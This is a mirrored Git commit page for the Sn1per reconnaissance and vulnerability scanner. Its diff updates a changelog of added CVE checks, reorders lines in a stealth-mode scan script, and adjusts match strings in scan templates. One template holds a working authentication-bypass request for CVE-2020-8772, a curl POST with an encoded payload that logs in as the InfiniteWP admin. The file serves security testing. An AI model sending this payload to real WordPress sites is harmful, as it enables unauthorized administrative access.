RomanNum3ral
/
Sn1per
mirror of https://github.com/1N3/Sn1per.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

* v8.7 - Fixed logic error in stealth mode recon scans not running 

* v8.7 - Added CVE-2020-7048 - WP Database Reset 3.15 Unauthenticated Database Reset
* v8.7 - Fixed F- detection in Wordpress Sc0pe templates
* v8.7 - Added CVE-2020-11530 - Wordpress Chop Slider 3 Plugin SQL Injection
* v8.7 - Added CVE-2019-11580 - Atlassian Crowd Data Center Unauthenticated RCE
This commit is contained in:
@xer0dayz 2020-08-23 16:48:13 -07:00 committed by xer0dayz
parent 439db5e98f
commit 4adbb24a48
7 changed files with 13 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
CHANGELOG.md
View File

@ -1,4 +1,9 @@
## CHANGELOG: ## CHANGELOG:
* v8.7 - Fixed logic error in stealth mode recon scans not running
* v8.7 - Added CVE-2020-7048 - WP Database Reset 3.15 Unauthenticated Database Reset
* v8.7 - Fixed F- detection in Wordpress Sc0pe templates
* v8.7 - Added CVE-2020-11530 - Wordpress Chop Slider 3 Plugin SQL Injection
* v8.7 - Added CVE-2019-11580 - Atlassian Crowd Data Center Unauthenticated RCE
* v8.7 - Added CVE-2019-16759 - vBulletin 5.x 0-Day Pre-Auth Remote Command Execution Bypass * v8.7 - Added CVE-2019-16759 - vBulletin 5.x 0-Day Pre-Auth Remote Command Execution Bypass
* v8.6 - Added new Sn1per configuration flow that allows persistent user configurations and API key transfer * v8.6 - Added new Sn1per configuration flow that allows persistent user configurations and API key transfer
* v8.6 - Updated port lists to remove duplicate ports error and slim down list * v8.6 - Updated port lists to remove duplicate ports error and slim down list

6
modes/stealth.sh
View File

@ -115,11 +115,11 @@ if [[ "$MODE" = "stealth" ]]; then
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i \"wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp\" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null$RESET" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i \"wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp\" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null$RESET"
fi fi
cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null
source $INSTALL_DIR/modes/osint.sh
source $INSTALL_DIR/modes/recon.sh
cd $INSTALL_DIR
echo "" echo ""
fi fi
source $INSTALL_DIR/modes/osint.sh
source $INSTALL_DIR/modes/recon.sh
cd $INSTALL_DIR
echo "" echo ""
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"

2
templates/active/CVE-2020-8772_-_IfiniteWP_Client_1.9.4.5_Authentication_Bypass_1.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-8772 - InfiniteWP Client 1.9.4.5 - Authentication Bypass 1' VULN_NAME='CVE-2020-8772 - InfiniteWP Client 1.9.4.5 - Authentication Bypass 1'
URI='/wp-admin/' URI='/wp-admin/'
METHOD='POST' METHOD='POST'
MATCH="content\=\"WordPress\ " MATCH="IWPHEADER"
SEVERITY='P2 - HIGH' SEVERITY='P2 - HIGH'
CURL_OPTS="--user-agent '' -s -L --insecure -H 'Content-Type: application/x-www-form-urlencoded' --data '_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ=='" CURL_OPTS="--user-agent '' -s -L --insecure -H 'Content-Type: application/x-www-form-urlencoded' --data '_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ=='"
SECONDARY_COMMANDS='' SECONDARY_COMMANDS=''

2
templates/active/Directory_Listing_Enabled.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Directory Listing Enabled' VULN_NAME='Directory Listing Enabled'
URI='/' URI='/'
METHOD='GET' METHOD='GET'
MATCH="<title>Index\ of|To\ Parent\ Directory" MATCH="Index\ of|To\ Parent\ Directory"
SEVERITY='P4 - LOW' SEVERITY='P4 - LOW'
CURL_OPTS="--user-agent '' -s -L --insecure" CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS='' SECONDARY_COMMANDS=''

2
templates/active/Wordpres_Scanner_1.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Wordpress Detected 1' VULN_NAME='Wordpress Detected 1'
URI='/' URI='/'
METHOD='GET' METHOD='GET'
MATCH="content\=\"WordPress\ " MATCH="content\=\"WordPress"
SEVERITY='P5 - INFO' SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure" CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS='' SECONDARY_COMMANDS=''

2
templates/active/Wordpres_Scanner_2.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Wordpress Detected 2' VULN_NAME='Wordpress Detected 2'
URI='/blog/' URI='/blog/'
METHOD='GET' METHOD='GET'
MATCH="content\=\"WordPress\ " MATCH="content\=\"WordPress"
SEVERITY='P5 - INFO' SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure" CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS='' SECONDARY_COMMANDS=''

2
templates/active/Wordpres_Scanner_3.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Wordpress Detected 3' VULN_NAME='Wordpress Detected 3'
URI='/wordpress/' URI='/wordpress/'
METHOD='GET' METHOD='GET'
MATCH="content\=\"WordPress\ " MATCH="content\=\"WordPress"
SEVERITY='P5 - INFO' SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure" CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS='' SECONDARY_COMMANDS=''